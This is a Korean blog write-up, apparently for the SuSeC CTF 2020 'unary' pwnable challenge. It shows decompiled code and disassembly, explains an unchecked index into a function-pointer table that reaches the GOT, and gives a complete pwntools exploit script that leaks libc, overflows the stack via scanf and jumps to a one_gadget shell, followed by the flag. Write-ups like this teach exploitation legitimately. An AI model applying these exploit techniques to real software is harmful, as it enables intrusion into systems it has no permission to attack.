SDJ( 수돈재 아님 ㅎ )

SuSeC CTF 2020 - unary 본문

write-up/pwnable

SuSeC CTF 2020 - unary

ShinDongJun 2020. 3. 16. 17:13

파일 다운로드

unary_63975aae1b504f3e53ac3bd7cc1074cc795e0d5f.txz
0.67MB


보호기법을 보면 다음과 같다.

 

바이너리를 분석해보자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ebx
  unsigned int v4; // eax
  unsigned int v6; // [rsp+Ch] [rbp-2Ch]

  while ( 1 )
  {
    show_menu();
    v3 = read_int("Operator: ");
    if ( !v3 )
      break;
    v4 = read_int("x = ");
    ((void (__fastcall *)(_QWORD, unsigned int *))ope[v3 - 1])(v4, &v6);
    __printf_chk(1LL, "f(x) = %d\n", v6);
  }
  return 0;
}

 

바이너리는 무한루프를 돌면서

v3에 0~4 사이의 숫자를 입력,

v4에 x값 입력하고

(ope[v3-1])(v4, &v6)을 줘서 ope[]배열에 있는 함수를 실행시킨다.

.data.rel.ro:0000000000600E00 ; ===========================================================================
.data.rel.ro:0000000000600E00
.data.rel.ro:0000000000600E00 ; Segment type: Pure data
.data.rel.ro:0000000000600E00 ; Segment permissions: Read/Write
.data.rel.ro:0000000000600E00 ; Segment alignment '32byte' can not be represented in assembly
.data.rel.ro:0000000000600E00 _data_rel_ro    segment para public 'DATA' use64
.data.rel.ro:0000000000600E00                 assume cs:_data_rel_ro
.data.rel.ro:0000000000600E00                 ;org 600E00h
.data.rel.ro:0000000000600E00 ope             dq offset inc           ; DATA XREF: main+1F↑o
.data.rel.ro:0000000000600E00                                         ; main+4C↑r
.data.rel.ro:0000000000600E00                 dq offset dec
.data.rel.ro:0000000000600E00                 dq offset not
.data.rel.ro:0000000000600E00                 dq offset neg
.data.rel.ro:0000000000600E00 _data_rel_ro    ends
.data.rel.ro:0000000000600E00

ope에는 inc, dec, not, neg 함수의 주소가 적혀있고, 

ope[v3-1]에 접근하여 inc, dec, not, neg 함수를 실행시킨다.

 

하지만 v3의 index에 대한 검사가 없기 때문에 OOB( Out Of Bound )가 발생한다.

ope의 주소( 0x600E00 )에서 조금 더 내려가면 got 영역( 0x600FF0 )이 존재한다.

따라서 v3의 값을 got영역의 함수위치에 맞게 주고, v4에 들어갈 인자를 int 형식으로 넣어주면 함수가 실행된다.

 

따라서 v3에 puts_got index를 주고 v4에 puts_got의 값을 int형으로 보내면 leak을 할 수 있게된다.

그리고 leak을 하고나서 arbitrary write를 해야하기 때문에

존재하는 함수 중 __isoc99_scanf를 가져오고

.rodata영역에서 %s를 낼름 빼와서 __isco99_scanf("%s", &v6)과 같이 입력을 할 수 있게 만들었다.

.rodata:00000000004008F4 ; char s[]
.rodata:00000000004008F4 s               db '0. EXIT',0          ; DATA XREF: show_menu+4↑o
.rodata:00000000004008FC ; char a1X[]
.rodata:00000000004008FC a1X             db '1. x++',0           ; DATA XREF: show_menu+10↑o
.rodata:0000000000400903 ; char a2X[]
.rodata:0000000000400903 a2X             db '2. x--',0           ; DATA XREF: show_menu+1C↑o
.rodata:000000000040090A ; char a3X[]
.rodata:000000000040090A a3X             db '3. ~x',0            ; DATA XREF: show_menu+28↑o
.rodata:0000000000400910 ; char a4X[]
.rodata:0000000000400910 a4X             db '4. -x',0            ; DATA XREF: show_menu+34↑o
.rodata:0000000000400916 aS              db '%s',0               ; DATA XREF: read_int+7↑o
.rodata:0000000000400919 aD              db '%d',0               ; DATA XREF: read_int+22↑o
.rodata:000000000040091C aOperator       db 'Operator: ',0       ; DATA XREF: main+C↑o
.rodata:0000000000400927 asc_400927      db 'x = ',0             ; DATA XREF: main+13↑o
.rodata:000000000040092C aFXD            db 'f(x) = %d',0Ah,0    ; DATA XREF: main+54↑o
.rodata:000000000040092C _rodata         ends
.rodata:000000000040092C

 

exploit 흐름

1. v3에 puts_got index, v4에 puts_got를 입력해서 leak을 한다.

2. v3에 __isoc99_scanf index, v4에 %s 주소를 넣어서 BOF를 발생시킨다.

3. exploit!

 

 

exploit code

from pwn import *

server = 1
if server:
	p = remote("66.172.27.144", 9004)
else:
	p = process("./unary")

def trigger(oper, x):
	p.sendlineafter("Operator: ", str(oper))
	p.sendlineafter("x = ", str(x))

puts_got = 0x0000000000601018

Ps = 0x0000000000400916

one = [0x4f2c5, 0x4f322, 0x10a38c]

trigger(68,puts_got)

libc_puts = u64(p.recv(6).ljust(8,'\x00'))
print "libc_puts : " + hex(libc_puts)
libc_base = libc_puts - 0x809c0
one_gadget = libc_base + one[1]
trigger(68+3,Ps)

pay = ''
pay += 'a'*4
pay += 'b'*8	# rbx
pay += 'c'*8	# sfp
pay += 'd'*8	# r12
pay += 'e'*8	# r13
pay += 'f'*8	# r14
pay += p64(one_gadget)
p.sendline(pay)

sleep(0.1)
p.sendlineafter("Operator: ", str(0))

p.interactive()

 

 

 

FLAG : SUSEC{0p3r4710n_w17h_0n1y_1_0p3r4nd}

'write-up > pwnable' 카테고리의 다른 글

Defenit 2020 - errorprogram  (0) 2020.06.09
pwn2win 2020 - tukro  (0) 2020.06.03
zer0pts ctf 2020 - protrude  (0) 2020.03.11
zer0pts ctf 2020 - diylist  (0) 2020.03.10
zer0pts ctf 2020 - hipwn  (0) 2020.03.10
Comments